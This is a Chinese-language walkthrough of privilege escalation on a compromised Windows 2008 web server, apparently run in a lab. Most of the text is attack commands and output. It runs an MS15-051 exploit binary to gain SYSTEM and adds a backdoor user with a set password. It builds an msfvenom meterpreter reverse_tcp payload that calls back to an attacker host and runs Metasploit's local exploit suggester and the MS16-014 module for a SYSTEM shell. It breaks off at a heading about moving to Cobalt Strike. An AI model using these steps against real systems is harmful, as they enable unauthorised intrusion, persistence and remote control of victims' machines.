

# Windows系统内核溢出漏洞实战

现在控制了一台机器然后需要进行提权

1、查看当前用户权限，是apache权限需要提权

```
whoami  
whoami /groups
```

```
C:\phpStudy\PHPTutorial\WWW> whoami  
bm-2008\apache
```

```
C:\phpStudy\PHPTutorial\WWW> whoami /groups  
组信息  
-----  
组名                                     类型      SID          属性  
-----  
Everyone                               已知组    S-1-1-0      必需的组, 启用于默认, 启用的组  
BUILTIN\Users                          别名      S-1-5-32-545 必需的组, 启用于默认, 启用的组  
NT AUTHORITY\SERVICE                  已知组    S-1-5-6      必需的组, 启用于默认, 启用的组  
控制台登录                            已知组    S-1-2-1      必需的组, 启用于默认, 启用的组  
NT AUTHORITY\Authenticated Users       已知组    S-1-5-11     必需的组, 启用于默认, 启用的组  
NT AUTHORITY\This Organization          已知组    S-1-5-15     必需的组, 启用于默认, 启用的组  
LOCAL                                  已知组    S-1-2-0      必需的组, 启用于默认, 启用的组  
NT AUTHORITY\NTLM Authentication        已知组    S-1-5-64-10 必需的组, 启用于默认, 启用的组  
Mandatory Label\High Mandatory Level  标签      S-1-16-12288 必需的组, 启用于默认, 启用的组
```

2、查看安装补丁情况，发现安装了两个补丁，我们查找EXP进行提权

```
systeminfo
```

```
虚拟内存: 最大值: 4,095 MB  
虚拟内存: 可用: 3,309 MB  
虚拟内存: 使用中: 786 MB  
页面文件位置: C:\pagefile.sys  
域: BM  
登录服务器: 暂缺  
修补程序: 安装了 2 个修补程序。  
           [01]: KB2999226  
           [02]: KB976902  
网卡: 安装了 1 个 NIC。  
       [01]: Intel(R) PRO/1000 MT Network Connection  
       连接名: 本地连接  
       启用 DHCP: 是  
       DHCP 服务器: 192.168.41.254  
       IP 地址  
           [01]: 192.168.41.183  
           [02]: fe80::f54e:70f5:12f0:9569
```

3、输入补丁情况进行查询

```
https://i.hacking8.com/tiquan  
http://bugs.hacking8.com/tiquan/
```

MS16-014	<a href="#">KB134228</a>	remotecodeexecution	2008/Vista/7
MS15-097	<a href="#">KB3089656</a>	remotecodeexecution	win8.1/2012
MS15-076	<a href="#">KB3067505</a>	RPC	2003/2008/7/8/2012
MS15-077	<a href="#">KB3077657</a>	ATM	XP/Vista/Win7/Win8/2000/2003/2008/2012
MS15-061	<a href="#">KB3057839</a>	KernelDriver	2003/2008/7/8/2012
MS15-051	<a href="#">KB3057191</a>	WindowsKernelModeDrivers	2003/2008/7/8/2012
MS15-015	<a href="#">KB3031432</a>	KernelDriver	Win7/8/8.1/2012/RT/2012R2/2008R2
MS15-010	<a href="#">KB3036220</a>	KernelDriver	2003/2008/7/8
MS15-001	<a href="#">KB3023266</a>	KernelDriver	2008/2012/7/8
MS14-070	<a href="#">KB2989935</a>	KernelDriver	2003
MS14-068	<a href="#">KB3011780</a>	DomainPrivilegeEscalation	2003/2008/2012/7/8
MS14-058	<a href="#">KB3000061</a>	Win32k.sys	2003/2008/2012/7/8
MS14-066	<a href="#">KB2992611</a>	WindowsSchannelAllowingremotecodeexecution	VistaSP2/7SP1/8/Windows8.1/2003SP2/2008SP2/2008R2SP1/2012/2012R2/WindowsRT/WindowsRT8.1

```
C:\phpStudy\PHPTutorial\WWW> ms15-051x64.exe "whoami"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 2388 created.
=====
nt authority\system

C:\phpStudy\PHPTutorial\WWW> ms15-051x64.exe "net user wanli Admin@123 /add"
[#] ms15-051 fixed by zcgonvh
[!] process with pid: 2088 created.
=====
命令成功完成。
```

#### 4、上线到MSF

```
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp
LHOST=192.168.41.134 LPORT=3333 -f exe -o test.exe

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.41.134
set lport 3333
exploit
```

#### 5、搜索提权的漏洞

```
use post/multi/recon/local_exploit_suggester
set session ID
run
```

```
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > set session 2
session => 2
msf6 exploit(windows/local/ms16_014_wmi_recv_notif) > run

[*] Started reverse TCP handler on 192.168.41.134:4444
[*] Reflectively injecting the exploit DLL and running it...
[*] Launching msixec to host the DLL ...
[+] Process 2240 launched.
[*] Reflectively injecting the DLL into 2240 ...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (200262 bytes) to 192.168.41.193
[*] Meterpreter session 3 opened (192.168.41.134:4444 -> 192.168.41.193:49161) at 2022-11-09 03:59:38 -0500

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █
```

## 5、迁移到CS